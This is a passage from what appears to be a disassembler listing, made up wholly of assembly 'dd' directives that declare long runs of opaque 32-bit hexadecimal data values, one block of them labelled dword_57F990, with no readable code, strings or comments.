		dd 0C89D0001h, 0D9C13D98h, 7E0781D1h, 0CD4B1870h, 0C8295EC3h
		dd 67D3D428h, 330FC278h, 0D2839701h, 2A69DEF8h,	0AC3F5C01h
		dd 9887A5C1h, 5A02E4h, 0A46609B1h, 5CC02B0Eh, 6C77F200h
		dd 8E7933C7h, 7DC20EF6h, 0AD479EFBh, 0D99990DCh, 0E27CE7D6h
		dd 2500F5B0h, 0F0F44FBEh, 73DBC5h, 79C0CEA4h, 2ADAAAB1h
		dd 0AEF2F11Dh, 8DEE0407h, 8C7B051h, 1FC0FCDh, 17FE0089h
		dd 0E77B32D0h, 401F7E75h, 71C042AEh, 2413B674h,	0C7520053h
		dd 276F88EEh, 661C2592h, 0D4004B6Ch, 1A14C448h,	0CD720Eh
		dd 0B8692752h, 0CB7A82F1h, 5F3B3C01h, 0FE38729Fh, 5F37030h
		dd 9557BFA5h, 126480EDh, 53EAE2FBh, 420037F8h, 8469CAFFh
		dd 3195550h, 0D04DFAAEh, 28003D88h, 0F210482Fh,	0ACDEBEh
		dd 38781FA4h, 0A82C5646h, 1441B00h, 280EF60Ah, 21ECB9h
		dd 56C8947Bh, 8A38E0C9h, 863238h, 3B7E97BDh, 162277BCh
		dd 0D3B790h, 9164B961h,	351DFB71h, 618CDBAAh, 336D6EAh
		dd 41B15CE2h, 6888349Dh, 37E621CCh, 0C0EA4800h,	927A9C78h
		dd 0CF090097h, 0A6FE6714h, 9814402Dh, 7BFAC42h,	8396496Fh
		dd 63F7B6A0h, 61A30072h, 0AFE47C9Eh, 0AE008B09h, 50734904h
		dd 1C65F843h, 80D18F4Fh, 0D0AA44E5h, 0D650BFCAh, 3B002EF8h
		dd 0A930C69Eh, 0F44A26h, 0F56E8B87h, 836194BBh,	5DAA0E00h
		dd 0D84B0CF2h, 24B86Bh,	9517A66Ch, 0B1FB828h, 136A8707h
		dd 0A0FFEAABh, 2974C7F1h, 0AD4F0093h, 8C394D64h, 0F63E4014h
		dd 0B4E880BBh, 0E79FE027h, 640900ACh, 49DD0B55h, 0F101BD37h
		dd 0C7F0EAA8h, 0FBC4BF62h, 1103002Ah, 0D464588Ch, 440759AEh
		dd 2C386A40h, 941A0861h, 3B04B6D4h, 0AF813769h,	3D68FAA9h
		dd 0B9E2D0BCh, 1855D03Fh, 8610B6DCh, 0DA450082h, 5F38DFEEh
		dd 90032C1Ah, 6C36A9D6h, 3D68CEFEh, 0FFAFB732h,	82002470h
		dd 469A2574h, 804235h, 0D9BB40A5h, 0ADE11DF9h, 9D436700h
		dd 0B63A6076h, 5090E8h,	0F91A4D23h, 505A16FAh, 82000890h
		dd 0D09A416Bh, 46DC00Ch, 7E72B9A4h, 31A08008h, 200223Fh
		dd 0CEE25D13h, 75F18656h, 696E0078h, 67C3EC90h,	7300BB1Ch
		dd 0EE0357FBh, 0E3AA947h, 0BDB6461Bh, 0F025C287h, 0D0DA0830h
		dd 1FA5C300h, 3620BFFh,	0AFE80715h, 0D3BDF523h,	22C0FC3Bh
		dd 89025784h, 8C034FF2h, 0BDD2E096h, 124B05E1h,	0C0EC814Dh
		dd 0F725323Dh
		dd 0C2DD300h, 3D3ABCFCh, 0EAE900F6h, 10CC4D98h,	6300A47Bh
		dd 0EFE7B8D0h, 0C21C0297h, 129D7C48h, 2DA301C0h, 0E0164F38h
		dd 6E95C418h, 18C8F270h, 7912A77Eh, 0BC076D41h,	0E3F6EF81h
		dd 7713F8A0h, 10E93006h, 333D6020h, 0AD533200h,	8939C4B6h
		dd 0E2E9C720h, 0A2C03F4Bh, 0C538EF19h, 824BC00h, 0E4F38BC2h
		dd 1C0A5CC3h, 0BD3FE607h, 0A41C400Dh, 38007690h, 0E3C2E96h
		dd 0FC5E1899h, 771B002Ah, 0A3342B1Ah, 3F038823h, 28756158h
		dd 909AFBB4h, 458CDEh, 0A3A5F2DFh, 82B1508Eh, 6776ED5Ch
		dd 0C360F390h, 60A5E82Dh, 9C1E189Ah, 4E7EDCA6h,	820620DFh
		dd 3C1CEEEh, 0DDD2C988h, 0D1A08145h, 217C13BBh,	10E1DA30h
		dd 0C3454h, 3DBE521Eh, 6703DB31h, 36B4C000h, 1253C19Ch
		dd 0DAED03ADh, 0C468D3B1h, 0B93400A5h, 1ED5FC19h, 0D39150C0h
		dd 18D1A86h, 1F9D1224h,	0E450AD72h, 0E9050BF2h,	9969332Ch
		dd 37C46403h, 4878EBh, 0BBB11C44h, 0C67ED50h, 7736FF00h
		dd 0C04FDE4Dh, 6C78C3h,	5AAE151Fh, 5BC6AD7Eh, 56246003h
		dd 8B4E7954h, 2006C018h, 97D200C2h, 0E74CE0D9h,	8E00F463h
		dd 9444373Eh, 0C52E18h,	0EE61F92Fh, 8542E871h, 28231D00h
		dd 0E9218A3Bh, 0FF41071Bh, 0A05D45F8h, 5B79D149h, 0FCE13900h
		dd 0A6135471h, 9B0D0014h, 640B0C7h, 77F28E63h, 1B6CFF00h
		dd 4D3FDE52h, 44B9002Fh, 4C0936FEh, 2A2C9634h, 803BDEFCh
		dd 0C1E206F9h, 390C6298h, 798088FEh, 0F163B3F0h, 6C0EAAF6h
		dd 60EB2F40h, 0F885D458h, 0DF98DBh, 4CC469E2h, 2253F66h
		dd 4CF20F5h, 0C4A4FC51h, 49FC68E9h, 1A762700h, 0FA31240Fh
		dd 0D1730A59h, 80DC0E03h, 577A3DC7h, 140BBB79h,	0D7789E2Fh
		dd 0C8BF5700h, 29C01C0Ch, 0AB329AA2h, 13D3FA58h, 2053D08Bh
		dd 0D1BDCF00h, 0E0283100h, 230EAF2Ah, 0A67650ECh, 0ECF0543Ch
		dd 7E415h, 5336F955h, 0B50A4F79h, 0F2FD8218h, 30B03820h
		dd 94701EC8h, 0DD00675Fh, 9ECA239Ch, 0F709012h,	0A1B886A2h
		dd 0EE64B6A0h, 57141A68h, 1FC46E0Fh, 910C02B4h,	0E60C71D5h
		dd 0F83092A7h, 0A6F1449Fh, 9442958h, 10C4C3E2h,	0C672B160h
		dd 91C79A40h, 0D4F57600h, 853C1B65h, 26801A7h, 0ECC7906Dh
		dd 1480EA1Dh, 54897A06h, 0E579F9F2h, 46E0E00h, 0A411BEB3h
		dd 5C730C4Ch, 6369F60Ch, 0EF6D3701h, 22C7D8A2h,	34A982DEh
		dd 87C041D1h, 1F892ADCh, 4A4C0E53h, 5C3AAAh, 10BD298Fh
		dd 9C39E7B5h, 8A4C3B06h, 0C4C4760Eh, 0C7536980h, 601AC2B8h
		dd 0C067121h, 0D2008F46h, 6BF4323Fh, 51B68D6Ah,	20802C76h
		dd 0D25E8293h, 2107203Dh, 0FF8A2415h, 0D8858770h, 0BF6F1EDAh
		dd 0C4697099h, 4700BB94h, 1CD9A0CAh, 1A2497h, 9C238FB0h
		dd 0B32253E3h, 0BCCD6800h, 0C3DDFA1h, 70E967E5h, 0EE197034h
		dd 6300BB9Bh, 1236E12Ah, 73A51C9h, 52D24F7Eh, 11765970h
		dd 200B0C09h, 770DC968h, 0E8861F93h, 16DE851Eh,	0E3FFC0B0h
		dd 0F4ABAC25h, 725FF0A8h, 0D986CD02h, 0A8F803F7h, 0E800E584h
		dd 9A763A40h, 0C9F8A3B9h, 218F130Ch, 4B00DF02h,	6AD8C4Ah
		dd 8546B360h, 0C05A440Fh, 0A40379F9h, 0B612DD9Bh, 46F882h
		dd 212D9Eh, 0BADEB370h,	1AC98158h, 0EDE8EB24h, 0C2533A00h
		dd 910C39E1h, 0F8C303BCh, 20870196h, 62DB6A6h, 445FC204h
		dd 50916F50h, 0A2CE0C55h, 0C082C99Ch, 16813418h, 0BE3F786Bh
		dd 0C085250Fh, 0A05F2827h, 192224D0h, 433F40B8h, 0A0B036CEh
		dd 44259A0Ah, 8E8028E0h, 228A2387h, 7AD00043h, 0BEA3799Ch
		dd 997F7DC6h, 2B654100h, 460EBBF3h, 0D2473AABh,	1B62980h
		dd 0FEA4D6Eh, 0D8D47124h, 0D91A6D8Ch, 27A80EE0h, 0B87F8644h
		dd 0D9BF900h, 438034EAh, 39110F0Eh, 3D835B0h, 50B7D6E8h
		dd 0C5F580B2h, 2C170035h, 92B08BFBh, 4D0468AAh,	96DEBA9h
		dd 0CADD0490h, 0ECDE0E1Ch, 88A0DF7Bh, 9140D7CFh, 0F6F0105Bh
		dd 321EE27h, 1F66A3D4h,	0B08F0739h, 20BA6BCFh, 53628000h
		dd 25D6EC1Dh, 4C1C5CBh,	394C8041h, 9C0794D0h, 74799DB0h
		dd 38B81DF0h, 0D68B12CAh, 80881F3Ch, 0EBEE6FAh,	0C9D292D9h
		dd 765F4800h, 90E4FE4Ah, 88275478h, 0A4F50032h,	7F5F3056h
		dd 0DC007842h, 555B8598h, 0A0B2FCAFh, 2A2BFA8h,	144EA540h
		dd 0E844173Eh, 6030C407h, 23306688h, 2E46C86Ch,	0FD33F51h
		dd 0F8FD26BFh, 8999607Dh, 155FDDF5h, 0B10146F2h, 1E3B7188h
		dd 21809AB0h, 4433A959h, 0F7E220B4h, 0FDCD80Ah,	3C286443h
		dd 0C53DA0Ch, 9EC10Ah, 5A1CCE89h, 2A2C3195h, 840F9B28h
		dd 5136D700h, 0F76570EAh, 24E002Dh, 0DB49BEFFh,	8C07C804h
		dd 68B1B62Ah, 0F7450860h, 80409182h, 61803DA9h,	90006286h
		dd 75B0BB5Bh, 319BAA7h,	950E4C9Fh, 72DBEABDh, 0C08BEE80h
		dd 20035D28h, 22AC9000h, 36E42793h, 80CB0064h, 873EB54Dh
		dd 0CF12CA26h, 0E00488B3h, 534CE876h, 5025FB8h,	0F348C10Eh
		dd 0D80460B8h, 0A0B30324h, 491D17E8h, 75388CECh, 693FEEEEh
		dd 3AF2014Ch, 235D1502h, 24F471C1h, 0DB27038Ch,	3BB66595h
		dd 24EA8D91h, 38717FC0h, 6068498h, 5199724Fh, 543C2689h
		dd 0B6C500EEh, 23F9893Ah, 0CF00DCB1h, 4B255242h, 0DCBA52D8h
		dd 72B781Ch, 30E33BE6h,	0D6394946h, 85FC4F00h, 327C57ABh
		dd 13C789Dh, 1709BE2Dh,	0A4DB01CEh, 123A8C71h, 0BC2723ACh
		dd 0EE384290h, 0C5EC0052h, 0A0DEA5DDh, 2C01CD40h, 6E71BDABh
		dd 6423658Dh, 7A396000h, 53759349h, 44B77D16h, 8A2C3D00h
		dd 0C0FD6D68h, 6E58A829h, 650078C5h, 0BE142932h, 15A03h
		dd 0EC118EABh, 8C754A64h, 420094B0h, 0E54BBC1Bh, 0B841AAh
		dd 0BAB62D87h, 0F272BE86h, 4334EE00h, 56C1245Ah, 0C1A36523h
		dd 5454806Fh, 0C9033D92h, 50C49CB8h, 3F17916h, 0CB69C217h
		dd 8DE3A28Bh, 807D193Bh, 742E83DEh, 3B0F9B1h, 0E3FA9739h
		dd 78E08188h, 658D2D4h,	83C126E0h, 23393930h, 0CF80002Dh
		dd 0E286C7BEh, 0B51CAB77h, 8BC0560Eh, 24ED21AEh, 929F006Eh
		dd 9E853B43h, 5C90BA5Eh, 893DE901h, 0A04C8782h,	977A920h
		dd 454217C4h, 80B8B807h, 0C163E07Dh, 70E92724h,	5C6B148Ah
		dd 0F9B6BA0Ch, 0EB970130h, 7CC577BFh, 71D209Eh,	169B7A1Eh
		dd 40D6E5C0h, 0B14FFFC4h, 0CD9F0E7Ch, 11580C2Fh, 0ED0FD1D2h
		dd 0A313A205h, 0A8655E32h, 0EC16A036h, 2D3009A8h, 0F086B6ADh
		dd 0F30181DAh, 3A0B20C4h, 0E17EB703h, 189C2401h, 869C9B00h
		dd 0A8C632BFh, 2C557416h, 3A03ED3h, 123DC48Eh, 0B8C505F0h
		dd 34A5C3Ah, 3C14E7BFh,	6E008CF3h, 0FC6B7FC9h, 7EDE6030h
		dd 0B1D330Ah, 0C8B1E6A0h, 0FF71F01h, 3FE42247h,	53B49355h
		dd 0E7C9420h, 23A70EC7h, 2E7D47EAh, 6DFB40FCh, 6A90C9B3h
		dd 71402600h, 1D0ADF0Ch, 0FCC908Ch, 9E97E5F1h, 8F90F96Ah
		dd 0D9A0DBF5h, 0C8FC2EA7h, 5B690F18h, 0AB50A69h, 25C2D464h
		dd 611EBE80h, 31106D6h,	171B10EEh, 0F830F10Ch, 0A23ADAh
		dd 0E174FA06h, 31D892F4h, 14426400h, 0EE074397h, 32EF0385h
		dd 2C560640h, 0B68C6901h, 0EA5CE30Ah, 9083DFCCh, 60BAF006h
		dd 25EC79E2h, 5500FB3Eh, 4FF9A4D2h, 0EDE4D8h, 0B2C193F1h
		dd 6A9AA003h, 99BEF30Ch, 3959C2h, 0D0ECB47Fh, 9693EE3Ah
		dd 0B0147700h, 27A22B61h, 1C880031h, 841B0ADCh,	720352B8h
		dd 9FDB092Ah, 2602B740h, 0E87C5219h, 0E080051h,	5BEC3378h
		dd 3400F9E7h, 0E43227A0h
		dd 58B0691Bh, 0B60B7977h, 98901685h, 2800C28Fh,	0AEC59397h
		dd 3817EA5Ah, 73006863h, 13253E82h, 70C0B9BDh, 0D9A31D1Bh
		dd 90B057h, 0EC518BDBh,	0C99FB354h, 2810D44Ch, 0D7FAA4E2h
		dd 145FAE04h, 44415A69h, 530F3C7Bh, 23C0C4C8h, 0D5A085DBh
		dd 0E00F62Eh, 8856CC18h, 1EBEB301h, 0D2BFB8A5h,	9A1CC87Eh
		dd 0F3547F84h, 4248C8h,	46509F9Dh, 7BF433C4h, 0E0936E01h
		dd 0F2FF06DDh, 480E0AF8h, 17801C68h, 0DB24611Ah, 5D529612h
		dd 90F8F40Fh, 75E18200h, 484C6480h, 0F75C24B8h,	0BB104020h
		dd 0DC315606h, 0C00E0F69h, 6E361A99h, 2409F49Bh, 0CB6B4ACh
		dd 969EE982h, 0AA7881CCh, 0E425727Ah, 0CE308894h, 0C1EEE82Dh
		dd 0DCB803A4h, 48A75A6Eh, 94E0D5AAh, 91B0AA50h,	7D118802h
		dd 60941A76h, 2BFA6D4h,	8252A527h, 0DDC060CBh, 0A8B03B08h
		dd 6E13C316h, 0EB90F400h, 1B3327A3h, 0F026CE59h, 5C76008Fh
		dd 0BC5C86BBh, 478480B8h, 1EA321A4h, 9DE8EA01h,	0EDD0C08Fh
		dd 0FA490A15h, 0F8730F24h, 0ECE48869h, 711494C1h, 24530840h
		dd 0A2A0C0A4h, 7D765E90h, 0AD81D60Bh, 69F001BDh, 0A850116Dh
		dd 4C61CE2h, 0C1579DE4h, 9F8CC80Eh, 7B98B07Eh, 0EE35B400h
		dd 21BBC658h, 2C6A580Eh, 0F89E7280h, 14086439h,	8FC250A9h
		dd 41C7D980h, 512AB0B9h, 1454A029h, 4A674C60h, 0B540CD88h
		dd 50D36C94h, 27598B0h,	8AA5245Bh, 9048FB17h, 930FBEEAh
		dd 0C0C5BA16h, 0C3541402h, 0BB330191h, 153E9C59h, 3DD1E41Ch
		dd 0EA68603h, 0E0616746h, 48325168h, 9261070h, 49A01275h
		dd 0C8830B18h, 0E024869Bh, 870098BDh, 0E85B4C33h, 3D58ECD7h
		dd 5F079984h, 70242256h, 8B3037BAh, 7EC12A06h, 160849F7h
		dd 30960F5Ch, 95B5230Ch, 246B1000h, 564ED732h, 0B721C15Fh
		dd 0DCCAF2AEh, 0AA02B8E6h, 69AC0481h, 0AB744039h, 5250FEAh
		dd 8E0B756Eh, 0B700048h, 3A20B560h, 9951201Ah, 0B9F8008Ch
		dd 588FE1ADh, 28872407h, 25C559CEh, 80CC8h, 5BA5AFDDh
		dd 0DBF87106h, 0DA28B4A0h, 40241B00h, 460F602Ch, 0BC14034Dh
		dd 0B8A11D35h, 280CEAC3h, 207DF4D3h, 7868908Bh,	0C4E126Bh
		dd 0E3F48C44h, 40007DFAh, 0F8537652h, 4B6DEA30h, 4DEC400Fh
		dd 0AF1E17C8h, 25738A01h, 69392EC4h, 249AD9FCh,	410C6814h
		dd 323C1D54h, 46A20030h, 3B941201h, 57382EC8h, 0E35D07B0h
		dd 88144091h, 0E7134456h, 5027DF06h, 0A86607C0h, 5EC7C64h
		dd 731D7746h, 0CEF000D2h, 50C1084Ch, 0B27180E3h, 16133B9h
		dd 0E0E70059h, 8D1925EDh, 0C30C2452h, 598E2340h, 0D07104E4h
		dd 0C0F56A3Eh, 33A7755Ch, 8473A507h, 91927FA8h,	0E1EC405Dh
		dd 4A4A5CD8h, 1E21CD17h, 60582E68h, 8C421AF4h, 23810403h
		dd 0D0B4A03Fh, 0C0DAEA79h, 0A3B9BEB0h, 909816E7h, 80702358h
		dd 18E9FBD5h, 0F6D30314h, 3DE6A39Dh, 6F4DE890h,	50D46E00h
		dd 9A04DB25h, 12C12501h, 0A1BA025h, 60AC06E0h, 0D3679286h
		dd 0B9824701h, 3BC1037Ch, 343D848h, 9EA2DBA3h, 90C7861Ch
		dd 40C43A95h, 66E49003h, 0A86C4F0Fh, 74DCC08Bh,	799F129Bh
		dd 9A1800F2h, 44DF1F59h, 8D5C14F8h, 5728048h, 79EE907Ch
		dd 753B26F4h, 29013994h, 1CAA774h, 0B02D03h, 7BBE2142h
		dd 883AEF9h, 0CAFE0680h, 0B86BB004h, 74BB4480h,	338E89Bh
		dd 3A785FFCh, 417D0B6Dh, 8187C91Eh, 8C1F6CACh, 35049E97h
		dd 90C84514h, 0BA0A3D7Eh, 0BF666882h, 7C7949CFh, 0B0FDE800h
		dd 5A858C7Dh, 0AAC04023h, 5CDEBEAh, 0C650C700h,	8EABC011h
		dd 0BFC10024h, 2DF57092h, 3A057EC2h, 0A5B55C49h, 505628A2h
		dd 3D443800h, 0DDBF69BCh, 9C61BE01h, 510C1A77h,	0B5007029h
		dd 0F8129813h, 28002E64h, 0BF57C291h, 2EE8283h,	4675A6BBh
		dd 605A7D0Ch, 0E832EDh,	4B1C5962h, 799069h, 0FBDF6E10h
		dd 94D0A6FAh, 4585E58h,	52DDC24h, 0E9EFF8C1h, 0D4E43A02h
		dd 457DE100h, 602F269Ah, 359707E6h, 1B7A752h, 637F14B8h
		dd 0BF9F003Ch, 0DB3E2268h, 7E2705A9h, 0A2E94E49h, 0EECB0170h
		dd 4C280B04h, 0E82163F9h, 6870ECh, 0DF48A90Ch, 8C7EAA98h
		dd 1C39D12Ah, 9980CF00h, 795CC8FDh, 0DA30014h, 0F52FCD06h
		dd 0E1393AFAh, 5CA82626h, 0A41D1501h, 872DB0Eh,	0C270101h
		dd 0E3488B6Eh, 2FD0A5DCh, 0CA13F0h, 0D72523B6h,	0FEEBC66h
		dd 620E740Ch, 99BAD9FEh, 0BD6700A0h, 66903983h,	74862C00h
		dd 6C0268A9h, 5D7503F5h, 0F8643625h, 0BC7142F8h, 6026192Ch
		dd 94707616h, 2C544105h, 3C1C5Ah, 0E448C42Eh, 2C00774Ah
		dd 34875815h, 1F25A3F8h, 1325A94h, 1AECED27h, 8AE460AEh
		dd 4B4140Eh, 805CCBBDh,	72D70944h, 0FDD94803h, 17E26967h
		dd 77C5A04Ah, 0EC393464h, 854590Eh, 808D513Ah, 6498D06Bh
		dd 0F9075823h, 0C6CB6ACAh, 3EEDD7E0h, 0F07D02F6h, 5A047F11h
		dd 69B0B840h, 710EBE17h, 0C51B830h, 2525E46h, 6C4B2514h
		dd 0FE009846h, 8F3045FAh, 23226BFh, 0E1DF566Eh,	8C4494B6h
		dd 0A2135890h, 9C8001AEh, 0FBB6529Ch, 81FCCADAh, 49EAB49Bh
		dd 0CF093h, 18786EBCh, 3A75F034h, 349C2626h, 690F0811h
		dd 422337C4h, 2095AB50h, 1376CFE8h, 49E62A00h, 0B35DD1A7h
		dd 0D7680264h, 0FD450FF7h, 0A063208Bh, 7F14C8BDh, 6DD16F02h
		dd 0C470148Dh, 0DF025BCh, 6C30482Bh, 7B096D72h,	0B9B4D5h
		dd 0F25C664Ch, 0DF2B0095h, 0BBCCC985h, 0C1257791h, 0BFB0A0C4h
		dd 3560A71h, 4F3227A2h,	1A71A09h, 2A420E78h, 2D870841h
		dd 44F87488h, 71D8046Eh, 0F2C060F1h, 0F2B0048h,	0E64A9114h
		dd 0B67E09FDh, 5B00C2D6h, 8B4B3124h, 0D0A50E29h, 9AF01025h
		dd 77B40111h, 8466704Ch, 3D83D3Dh, 0A0041585h, 2EE09790h
		dd 18249D7Bh, 0F1C150A4h, 0F67D662Ch, 0FBBCED00h, 0EFBB8167h
		dd 35D0059Eh, 8923383Bh, 0A47CC07Ch, 9790A100h,	6B321B0h
		dd 65BA00D9h, 4EDB435Fh, 4024C1BEh, 660028B6h, 0C3DE6085h
		dd 0A849FE7Eh, 0F53C24h, 2DABBF33h, 8609C6B8h, 0CDF84104h
		dd 48899A8h, 90C83CAAh,	8BB65689h, 25DD3810h, 7480D0B6h
		dd 8F69473Eh, 0DF60Fh, 2A7C676Ch, 0C42C0E3Ch, 0E580A899h
		dd 66AAF76h, 0CFEAB6h, 0A68ED8A7h, 0BA86D653h, 0B5F3B0C1h
		dd 0F833F073h, 0B6029222h, 697EE64Ch, 3BF85A3Ah, 5B24BABEh
		dd 0EF3B0010h, 943C5C6h, 9F1634FCh, 0A1CD670h, 9E496F80h
		dd 0B691Bh, 0E1955924h,	460E9F6Bh, 79847501h, 0A4F3728h
		dd 0E0248C20h, 0F4915C29h, 0B9900733h, 38397124h, 0C0121E11h
		dd 23B8033Ah, 0B0C88541h, 0EC2C01A9h, 1440003Dh, 3BE83112h
		dd 658058F7h, 0D233742Bh, 0ECB945B8h, 0E3D13D8Fh, 0F899F2DEh
		dd 735AB442h, 0EA930189h, 0B89ECB50h, 470FD84Eh, 0B96FC96h
		dd 1E2578C8h, 0C750CC83h, 3346A95Ch, 74809A13h,	3D00794Ch
		dd 3B06BA14h, 1A0C23h, 35DFFD7Bh, 0E253A7F3h, 1473B626h
		dd 97240049h, 9124CDE9h, 0BCBF0214h, 8E0C459h, 3C1DB46Eh
		dd 418744DCh, 9B2227DBh, 0A100E882h, 67DD17FFh,	815A0483h
		dd 4EB8C1BEh, 0C83D17h,	87F78668h, 13151863h, 5F9830Eh
		dd 0F0BDBC08h, 16046E37h, 0C45DB441h, 0BD42F4C3h, 0EA80BF85h
		dd 621D64h, 72DEF124h, 7E0E945Ah, 0C0C458D5h, 3DD652C4h
		dd 3F0F1C13h, 0F6B4C1F5h, 28854CB5h, 0A74D8044h, 77B965h
		dd 59996BB7h, 9C50F657h, 68E39007h, 0F3108753h,	0A0295BEEh
		dd 9A2418Eh, 19834A3Ah
dword_57F990	dd 5E37A418h, 8A8AC00h,	393ACB75h, 0E8C3FE0h, 8D564E88h
		dd 0E3F34780h, 379026h,	0B12A127Ah, 9A01D750h, 0EF5D2100h
		dd 62DF2D0Dh, 44B0B85Eh, 3891F016h, 0DB0F6CA4h,	0BE2D875h
		dd 60F8940Eh, 3AAAA485h, 49231A0Bh, 25F4E03Bh, 8A9C3B5h
		dd 4BC9EEBFh, 0A6EAC835h, 85616D00h, 0C155CD13h, 0EC2A9520h
		dd 66E0235h, 0C48F93Ch,	8D005C01h, 6AA2C81Bh, 0E88FB524h
		dd 4C9D0BBAh, 0B0845776h, 3078E520h, 0F5003EB0h, 82BB68A7h
		dd 4EC84AFh, 0C13BBA1Dh, 0F65C842Ch, 0FA60068h,	642027A8h
		dd 0C76C00D0h, 6772A9CCh, 0BB01FC22h, 271A4856h, 30285349h
		dd 9F75F80h, 8928ADE4h,	34507423h, 59B84DBBh, 48C57000h
		dd 0EBF17442h, 0C3F61484h, 3848542Ch, 58496D04h, 0C867C521h
		dd 600DBECh, 611B056Ah,	9E43FA2Bh, 13F01634h, 8CC8D458h
		dd 3C029944h, 42A2AD39h, 0E032E0E1h, 50211E06h,	0E2003F1Bh
		dd 0F664B6F0h, 3120C72h, 20B2D26Bh, 801E3702h, 0F08197C5h
		dd 0D35C9E94h, 0F89063B8h, 2835A700h, 387182FFh, 201A4FC1h
		dd 6D5253F0h, 8CCE172h,	3411914h, 0EF4D8338h, 0BE90F61Ch
		dd 9109C277h, 71029BFCh, 0F19801BCh, 0EC2451B0h, 600DC23h
		dd 6566C14Fh, 11AAA9Ah,	5C996E38h, 71924E87h, 62152110h
		dd 0BC7F0110h, 4DAB7497h, 2E390CD8h, 62D4730Eh,	0FFE04C6Eh
		dd 370034E0h, 27D39CB2h, 4F3A8531h, 4C70479Eh, 1367CCh
		dd 88B54EC0h, 7E6FF514h, 1A4827FCh, 0E3688390h,	0FCC7ED54h
		dd 6B0FE900h, 0BB49CB2Bh, 23E68E8h, 0E340E207h,	65C37422h
		dd 0D0F0B5B8h, 1CC400D7h, 23809AC1h, 0AD074957h, 0D168B37Dh
		dd 85702013h, 5B0090A2h, 0ED0262C8h, 69DD1751h,	1A6EA280h
		dd 493D8650h, 0AA00600Dh, 94B90793h, 0D373D497h, 517FB01h
		dd 78B6EB45h, 0BAFC202Eh, 0F7192621h, 50C0F33Ch, 0C22F423h
		dd 4AB89003h, 0E0A0B1B4h, 224EABEh, 0EE394433h,	604C1AC3h
		dd 2504154Ch, 78EC4645h, 0FC0658A8h, 20B05C16h,	2730CFD4h
		dd 837CF81Dh, 5E33F180h, 14A7B8E8h, 0B05A07D6h,	0B654E903h
		dd 0B17EE591h, 5900D4B9h, 44E9A971h, 40110EA0h,	70401929h
		dd 0E3184ECCh, 0E5003BB0h, 0B88C6158h, 904CBA71h, 0D4FD4518h
		dd 0E009A74Eh, 6AE74FC3h, 4C7A94h, 78F5289Dh, 0F0D16DD5h
		dd 0C653191Eh, 83501242h, 0E2027D22h, 34C1F690h, 0C4C5605Ch
		dd 98B2AB05h, 0E480AC9Ch, 71A763h, 529F5AD3h, 5E5F879Ah
		dd 78032224h, 0CBBDD640h, 0F935008Ch, 7F32073Ch, 8A3C7B67h
		dd 1DC498AAh, 94691429h, 70446164h, 88E44465h, 89F4DF10h
		dd 808828D5h, 23B5612h,	52DA0C28h, 1551100Ch, 6126A400h
		dd 0A308A219h, 0F0930B3Ah, 40443ECFh, 26C57B00h, 0CD15E937h
		dd 68940923h, 0E4803CB2h, 66DD6F5Bh, 0DFE7D02h,	0A0BE1921h
		dd 0D6C8B29Ch, 0E675F8AFh, 26E034Eh, 0A8537392h, 0D39480FCh
		dd 38F80824h, 0D484880Fh, 6C0E0E71h, 26F0797Ch,	4468014Fh
		dd 0C04D47F9h, 0D2DC8CA0h, 74310095h, 0EA1BBC0Dh, 7F013A9Dh
		dd 437EF87Ah, 49805951h, 0A168B73Ch, 0A43BEF2Eh, 157D09D1h
		dd 894059BFh, 6050A84Ch, 0C4DDCD00h, 38EC6817h,	0C14803A0h
		dd 2A564F7Eh, 0EAEE5100h, 0F1B6AB4Ah, 26411DDCh, 2B60801Ch
		dd 1A510F7Dh, 48B42A1Ch, 0E05B2440h, 752950C9h,	12F4904Eh
		dd 85446B52h, 1D0C8C80h, 2A575400h, 91C30E48h, 0A999F6DDh
		dd 1F60F810h, 5D5C072Fh, 0F9A687F5h, 0FD14D0C8h, 1BB18400h
		dd 322791E3h, 0DC131D8Dh, 25FE91C3h, 864BFh, 280E38F8h
		dd 604CC91Bh, 14992100h, 835D10F6h, 183EE8C8h, 317D0F7Ah
		dd 192A24F3h, 0E904C0C5h, 3E111A6Dh, 0DC07C8C0h, 0D0406078h
		dd 389B509h, 0C7D0E849h, 72D0BFADh, 21EF81h, 0CFAA52D8h
		dd 0BE583374h, 0C4358800h, 9C0E1E07h, 0CAEE2482h, 0BAEB0448h
		dd 0AF10D0E1h, 6900D473h, 0D5BCE7B5h, 26503Dh, 27585386h
		dd 0D3EBE459h, 7426CAB0h, 140E051h, 0DD089h, 7F2199B8h
		dd 72B0DD63h, 44208E5Ah, 7084928h, 0A9258FAAh, 81381431h
		dd 0CC566EBEh, 3C9C0E13h, 1DCC50C0h, 0A3580F87h, 0EDA9B690h
		dd 633274C8h, 44E63725h, 0CC760058h, 87BEE58h, 2E005F11h
		dd 0AA76623h, 9005D9h, 27352E0h, 0DA5185EAh, 320F9100h
		dd 0CA2ABD40h, 0B9FE8A9h, 8DB66F53h, 229EE8E9h,	9D040FECh
		dd 9F396007h, 903F71FEh, 5BB20B30h, 913C72h, 45EBCC1Ch
		dd 32C2AD00h, 4F03BBBAh, 86653846h, 914B5001h, 0C23B2925h
		dd 4C003846h, 55A79DF6h, 25E6181Dh, 90E6C98Bh, 7FB6F80Fh
		dd 9DF0E016h, 4008FA6Ch, 69F2CAC7h, 5526BD00h, 1842D1E2h
		dd 0A3B3073Eh, 0C0CF56BCh, 4EF8BE31h, 0EC19C12Eh, 3FBC9869h
		dd 0CF88005Dh, 0C4A98315h, 52005B57h, 5F3D2A17h, 2C63DB24h
		dd 899C1231h, 0CA0EDDCFh, 97EC2A1h, 27607070h, 74A88h
		dd 2A92F4EBh, 3BC0B204h, 16FE7413h, 135C5420h, 70FDF4CBh
		dd 209C4F3Ah, 8AA6F028h, 1805C2E0h, 171A2689h, 0CEAC9080h
		dd 47112BBh, 0CD2801F8h, 0E4063487h, 79DE256Dh,	0BE5A3E40h
		dd 9A821ACh, 54E40DE5h,	0E23E1044h, 0B082BDDCh,	7323B8B9h
		dd 91A0990h, 0A879C89Eh, 1D60C94h, 256BB414h, 5C68F250h
		dd 0E7C93980h, 69033B6Ah, 0B146EAF9h, 0FE588A2h, 0E0909573h
		dd 0C2E98A21h, 0C309207Eh, 0B1DC490Eh, 621D8F6Ch, 3C440E2h
		dd 3A9040A9h, 0DB0090A4h, 0F9646671h, 0E2241A19h, 0A0787832h
		dd 4BF105C4h, 11B0C843h, 8B0E2500h, 151DC310h, 636C00B3h
		dd 0D0F298FAh, 479F12Ch, 0C2DC8250h, 19708D12h,	501EC0D1h
		dd 96D82731h, 284A025Fh, 0FF908A05h, 368034F9h,	7CCF1FC4h
		dd 0A04A0F69h, 21005259h, 0FAB1D434h, 11ED4600h, 0DB43C6F5h
